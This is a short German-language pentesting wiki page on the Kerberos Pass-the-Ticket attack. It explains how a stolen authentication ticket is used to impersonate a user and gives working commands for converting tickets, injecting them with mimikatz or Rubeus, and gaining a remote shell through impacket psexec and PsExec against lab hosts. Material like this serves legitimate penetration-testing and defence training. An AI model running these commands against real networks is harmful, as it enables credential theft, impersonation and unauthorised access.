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44 lines
1.9 KiB
Markdown
44 lines
1.9 KiB
Markdown
# Pass the Ticket
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{{#include ../../banners/hacktricks-training.md}}
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## Pass The Ticket (PTT)
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Im **Pass The Ticket (PTT)** Angriffsverfahren stehlen Angreifer **das Authentifizierungsticket eines Benutzers** anstelle seines Passworts oder Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu impersonieren** und unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
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**Lesen**:
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- [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
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- [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
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### **Swaping Linux and Windows tickets between platforms**
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Das [**ticket_converter**](https://github.com/Zer1t0/ticket_converter) Tool konvertiert Ticketformate nur mit dem Ticket selbst und einer Ausgabedatei.
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```bash
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python ticket_converter.py velociraptor.ccache velociraptor.kirbi
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Converting ccache => kirbi
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python ticket_converter.py velociraptor.kirbi velociraptor.ccache
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Converting kirbi => ccache
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```
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In Windows kann [Kekeo](https://github.com/gentilkiwi/kekeo) verwendet werden.
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### Pass The Ticket Angriff
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```bash:Linux
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export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
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python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
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```
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```bash:Windows
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#Load the ticket in memory using mimikatz or Rubeus
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mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
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.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
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klist #List tickets in cache to cehck that mimikatz has loaded the ticket
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.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd
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```
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## Referenzen
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- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
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{{#include ../../banners/hacktricks-training.md}}
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